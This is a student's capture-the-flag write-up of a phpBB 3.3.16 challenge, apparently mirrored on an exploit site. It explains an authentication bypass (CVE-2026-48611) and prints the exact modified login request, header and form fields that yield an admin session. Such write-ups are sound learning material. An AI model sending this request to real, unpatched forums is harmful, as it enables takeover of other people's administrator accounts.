## https://sploitus.com/exploit?id=62D7394D-F264-50EA-8659-5CA513BCC4B7
# Competition Introduction
NNS CTF is a jeopardy styled CTF competition organized by Norske Nøkkelsnikere, a Norwegian CTF team. The challenges they offer range from easy challenges for beginner to difficult for those with more experience. Categories include Binary Exploitation, Boot2Root, Reverse Engineering, Cryptography, Web, Forensics, Blockchain, DevSecOps, and Miscellaneous.
This writeup shows my process of solving “PHP is my passion”, a web exploitation challenge in which I identified the site’s running software version, researched a vulnerability for that version, and exploited it to gain administrator access.
# Challenge Info
Description:
I run a phpBB forum, but it's a bit outdated. Maybe there's a well-known vulnerability that can be exploited?
Initial thoughts are to inject a .php script / command to find some confidential info / flag. Like the example I have done in PortSwigger via an upload field. Then modifying the request to either upload a file that contains the .php script or the command directly in the request.
___
# Recon
I began reconnaissance by examining the forum’s main page and identifying the available features. The page shows a welcome post from ‘admin’, Quick links, FAQ, statistics, and the options to register or login.
I then inspected the main page’s GET request in Burp Suite. The request contained a **sid**, which I assumed represented session ID, as well as the cookie '**phpbb3_7kc8r_u=1'**.
So, ‘admin’ has posted a welcome message, he talks about permissions for new users depending on what privileges their user group has.
When trying to view the ‘**admin**’ profile, I was unable to currently see that account. Also, when viewing pages other than FAQ, Main, or Quick Links, I see this message.
When trying to view the Admin Profile, you can see **u=2**. Later can see that only the 'admin' **account** has this.
The main page’s statistics says "Our newest member: **admin**". Now, I need to find out how to log into that account. The Unanswered Topics and Active Topics both show the same "Welcome to phpBB3" post, not showing anything helpful. Search allows you to filter for a keyword, but any search doesn't show anything useful. There seems to be only the one welcome post in this whole forum.
At this point, there was not much else to do other than to register an account and log into that. To view any of the other pages on this site, many of which are hidden by default, you have to already have an account. The problem is that I cannot log into one because I can’t even create an account.
After submitting the registration details, the site hangs for ~30 seconds then loads an error stating “no valid MX record”, saying that the email domain I entered was not acceptable. There was no mention of what email domains are accepted, you only find out once you gain admin access. The source code and all of the requests do not show any reference to an email domain.
The POST request for submitting these registration details looked normal, with nothing unusual that could be exploited.
Since account registration was unsuccessful, logging into an account would not be possible. Inspecting the login POST request did not reveal any obvious parameters that could be changed to bypass authentication.
The POST request for login also did not show any unusual parameters.
After submitting the login details, the site returned an error recommending that I contact ‘**Board Administrator**’.
However, clicking ‘**Board Administrator**’ showed that the contact function was not working.
Looking at the source code did not reveal much, as it seems mostly for the site’s styling, structure, and links to the other pages. The FAQ seemed like it could contain useful info at first, but most of the features mentioned were not accessible on this instance. For example, they mention a forgot password function, but that was not present. One notable detail was that logging in will provide access to additional features like private messaging, avatar images, emailing others, etc.
___
# Vulnerability Identification (finding the CVE)
Everything attempted up to this point had not been successful. Nothing seemed to be leading anywhere and no progress was being made. Going back to the description, I decided to identify the exact phpBB version this website was running. And from there, research the known vulnerabilities for that. That made the most sense.
Searching Google for “how to find phpBB version” returned phpBB forum discussions explaining different methods of identifying the running phpBB version. The commenters suggested going to:
`/styles/prosilver/style.cfg`
When adding that to the current session's link:
https://php-is-my-passion-19eda7cd8776.chall.nnsc.tf/styles/prosilver/style.cfg
Output from `/styles/prosilver/style.cfg`
This confirms that the site’s phpBB version is 3.3.16.
~~~
style_version = 3.3.16
phpbb_version = 3.3.16
~~~
Another method of finding the version is by appending 'docs/CHANGELOG.html' to the URL.
https://php-is-my-passion-19eda7cd8776.chall.nnsc.tf/docs/CHANGELOG.html
This shows the previous versions of phpBB and provides another way of confirming that the site is running 3.3.16.
Searching Google for "phpBB 3.3.16 CVE” returned several known vulnerabilities affecting this version. The vulnerability that looked the most suitable for this challenge was CVE-2026-48611. I found a report from Pentest-Tools.com explaining the vulnerability, how the exploit works, and which versions of phpBB were affected.
https://pentest-tools.com/research/phpbb-authentication-bypass
Included is a more detailed Report:
https://19718068.fs1.hubspotusercontent-na1.net/hubfs/19718068/Offensive%20Security%20Research%20Hub/PTT-2026-004%20-%20phpBB%20-%20Authentication%20Bypass.pdf
___
# Vulnerability Explanation
CVE-2026-48611 is a severe authentication bypass in phpBB, the forum software used in this challenge. It allows an attacker to gain access to a valid session of any active phpBB user with an unauthenticated HTTP request. With this vulnerability, an unauthorized user could gain access to an administrator session without having the password for that account.
All phpBB installations running version 3.3.16 or earlier with the default authentication method (auth_method=db) are affected. This means that the majority of unmodified phpBB installs were exposed to this vulnerability until the patch was applied in the next version (3.3.17). The instance for this challenge was confirmed to use version 3.3.16, so it falls within the affected range.
CVE stands for Common Vulnerabilities and Exposures, a public catalog of known security vulnerabilities. Each security flaw is assigned a unique identifier, so researchers and defenders can reference the same vulnerability consistently.
___
# How the Exploit Works
phpBB normally checks logins the expected way by verifying the input username and password against the database. But it also has a "side door" meant for special setups. Some sites let their web server (like Apache) verify who is logging in, instead of checking a password against phpBB's database. phpBB supports this through a built-in option called "Apache Provider", which is handled by a piece of phpBB's code called the **ucp_login_link** controller.
The flaw is that phpBB lets anyone use this side door on demand through a URL parameter "**auth_provider=apache**", even on sites that never configured it.
Once that door is opened, the check on the other side is incomplete. phpBB's Apache provider code only confirms that the submitted username matches a value from the request's **Authorization: Basic** header and that a password value was present. It does not actually check whether or not the password is correct.
There are two separate places where a username gets submitted in this attack. One copy of the username comes from the **Authorization: Basic** header, which PHP automatically decodes into a variable called **PHP_AUTH_USER** (the password portion becomes a similar variable, **PHP_AUTH_PW**). The other copy comes from the normal login form field, **login_username**. phpBB's Apache Provider check is basically: "does the name in the header match the name in the form?" If they match, and a password value was sent in the header, that is treated as good enough. The submitted password is never checked against the account's actual saved password. It only has to be present, not correct.
Even though it's named after Apache, this bug is not limited to sites running Apache. What matters is whether the server passes the **Authorization: Basic** header through to PHP, which Apache does by default. If the header does reach PHP, it gets automatically split into **PHP_AUTH_USER** and **PHP_AUTH_PW**. phpBB’s Apache Provider check runs regardless of what web server is actually serving the site.
___
# First Attempt to Exploit
My first attempt was not successful because I did not properly understand what needed to be changed in the request. I did not follow the format of the POST request, include the Authorization header, or correctly modify the username and password parameters. I only replaced the value for 'password', but was supposed to replace the entire username and password section.
In total, there are 3 lines you have to add/change:
1. `POST /ucp.php?mode=login_link&auth_provider=apache&login_link_x=1 HTTP/2`
2. `Authorization: Basic YWRtaW46d3JvbmdwYXNzd29yZA==`
3. `login_username=admin&login_password=x&login=Login`
This is the unmodified POST request for login:
In my first attempt, I incorrectly modified only the password value to `x&login=Login`
The POST request changed from this:
~~~
username=admin&password=password&confirm_code=2AXJ5R&confirm_id=e36a91ef9e8a8cfc20df4881b4d1cf2c&redirect=.%2Fucp.php%3Fmode%3Dlogin&creation_time=1788692344&form_token=ce087389d254fd8103364184e2634d5731a671d3&sid=42b79d32aa45e310aad998df98e29c92&redirect=ucp.php%3Fmode%3Dregister&login=Login
~~~
to this:
~~~
username=admin&password=x&login=Login&confirm_code=2AXJ5R&confirm_id=e36a91ef9e8a8cfc20df4881b4d1cf2c&redirect=.%2Fucp.php%3Fmode%3Dlogin&creation_time=1788692344&form_token=ce087389d254fd8103364184e2634d5731a671d3&sid=42b79d32aa45e310aad998df98e29c92&redirect=ucp.php%3Fmode%3Dregister&login=Login
~~~
Forwarding the request resulted in either a maximum login attempt message or an error that says the submitted form was invalid.
___
# Second Attempt to Exploit
Before starting my second attempt, I reset the session cookies to start with a fresh session
the original POST request for logging in:
Original request:
`POST /ucp.php?mode=login&sid=dc4005fe98e1a7a819abb463f3868bbe HTTP/`
`username=admin&password=password&login=Login&redirect=.%2Findex.php%3Fsid%3Ddc4005fe98e1a7a819abb463f3868bbe&creation_time=1788692764&form_token=6e2c1922808130ca7d52058a530c710981b8e3b7`
Modified to:
`POST /ucp.php?mode=login_link&auth_provider=apache&login_link_x=1 HTTP/2`
I also added the following Authorization header (the Base64 encoded value after **Basic** represents **admin:wrongpassword**):
`Authorization: Basic YWRtaW46d3JvbmdwYXNzd29yZA==`
Finally, replaced the original login parameters with:
`login_username=admin&login_password=x&login=Login`
Modified Request:
Before forwarding the modified request through Intercept, I tested out in Repeater. This time, the response there was successful.
~~~
Set-Cookie: phpbb3_7kc8r_u=2; expires=Mon, 06-Sep-2027 11:44:54 GMT; path=/; HttpOnly
Set-Cookie: phpbb3_7kc8r_k=; expires=Mon, 06-Sep-2027 11:44:54 GMT; path=/; HttpOnly
Set-Cookie: phpbb3_7kc8r_sid=62dd29756acd6bc26a1af910a0ebeec8; expires=Mon, 06-Sep-2027
~~~
Going back to Intercept and forwarding the modified request shows this error. However, after reloading the site, you are logged in as **admin**.
___
# Admin Access
success finally
One thing to note is that in the previous Burp responses, the session's '**u**' cookie was always **1**. Now that I have admin access, '**u**' is equal to **2**.
Pages that were previously hidden are now accessible. This included Private Messages, ACP (Admin Control panel), MCP (Moderator Control Panel), member lists, team settings, etc.
To access some of these pages, I had to login again
I turned Intercept back on and did the same authentication bypass modifications to the request.
Checking the member list confirmed that there is only one account on this forum.
Both Administrators and Global moderators group only has ‘admin’.
After looking through the previously locked pages, most did not contain anything helpful or relevant to the challenge. However, the admin's Private Messages inbox had the flag.
`NNS{PHP_1s_mY_P455ion_4ND_s0_aRe_4PacHe_4u7h_pRoviD3r5}`
# Post-Exploitation Investigation
I was checking to see what else was on this phpBB forum after finding the flag. I was curious to see if I could find the email for this ‘admin’ account. The only page that I cannot access is the ACP (Administrator Control Panel) page. That is because even though I am in an admin session, it wants me to re-authenticate the account.
In the User Control Panel, I was looking to see if you could change the 'admin' account's password, but that does not seem possible because I do not know the current password. Also here I find out the admin's email '[admin@php-is-my-passion.nns](mailto:admin@php-is-my-passion.nns)'. The domain name must be @php-is-my-passion.nns.
____
# What I learned from this experience
The biggest lesson from this challenge was that manually testing every visible feature isn't enough once a challenge becomes more complicated and difficult. Registration, login, and contact-admin were all dead ends, and searching further through those specific paths would not have gotten me anywhere. The real lead to solve this challenge came from stepping back and taking the time to think "What version is this software running?" and "What vulnerabilities does that version have?" Changing my approach was more impactful than anything I had tried before.
I also realized that the challenge description itself was a bigger hint than I initially thought. "A bit outdated" and "a well-known vulnerability" was a clear sign that I should have immediately looked for what version this forum was running and then the exploit that I could use.
This was also the first time I exploited a real CVE. Working from Pentest-Tools.com's report meant figuring out which header, parameter, and form fields needed to be modified. My first attempt failed because of this. I changed the values to what I assumed was correct without matching the request format the report described. I caught that mistake by comparing my modified request against the original's.
I also got more comfortable with Burp Suite as a tool. I learned how to better switch between Intercept for live testing and Repeater for iterating requests and checking the responses.
Lastly, the vulnerability itself was a good reminder that an authentication check can look solid while actually being much weaker underneath. phpBB's Apache provider check only confirmed that the two usernames matched. It never verified if the password was correct. It's a good reminder to look closer at what a check is actually verifying, not just assume it's doing its job.
___
# Challenges and Reflections
For this challenge, I felt unsure on what to do because I had already tested most aspects of registration, login, and the other available pages. Even when looking at the source code and Burp requests/responses, I didn't obtain any leads from those. At that point, I genuinely didn't really know what to try next and had run out of ideas. Looking back, the challenge description provided a much stronger hint than I initially realized.
The registration and login of this phpBB forum was quite irritating. I spent quite some time trying to register and login, just for it to not work. In comparison, troubleshooting my first exploit attempt was relatively straightforward. It was pretty quick for me to realize that I just didn't do the correct modifications for the request (relative to time spent prior).
The "beginner" difficulty was a big reality check. This challenge felt substantially harder than the other beginner challenges I attempted, despite having the same difficulty rating. But compared to other competitions, NNS CTF was easier. The week before, ASIS CTF and COMPFEST were far too difficult. Even the easiest/lowest point challenges there felt significantly more complicated and difficult.
Over the past 6 weeks or more, I have done at least 1 or 2 competitions a week. And have both enjoyed and felt really demotivated from them. The feeling from obtaining a flag can be so satisfying when you spend effort and time doing it. But when you hit a brick wall and make no substantial progress, I really felt like I didn’t know anything about CTFs.
For me personally, I will keep trying CTF even after this semester. The competitions are quite fun when you solve these challenges and you can learn how to use so many different tools. Most of these expose me to problems that I would not ever have to think about.
___
# Conclusion
"PHP is my passion" turned out to be much more complicated than its "beginner" tag suggested. What looked like a straightforward upload field exploit turned into identifying a vulnerability for a specific software version and learning how that worked. Exploiting CVE-2026-48611 let me bypass phpBB's login entirely and gain a valid admin session. That led me to find the flag in the admin's private messages.
Besides solving the challenge, this was a valuable first experience working from a real, publicly documented CVE rather than following beginner lab exercises to find the flags. It forced me to get comfortable with tools like Burp Suite in a practical way and think outside of the box. This was also a reminder that "beginner" challenges can still expect a significant amount of effort and thinking to complete. Overall, this challenge gave me a solid, hands-on introduction to web exploitation and the problem-solving mindset that I should apply moving forward.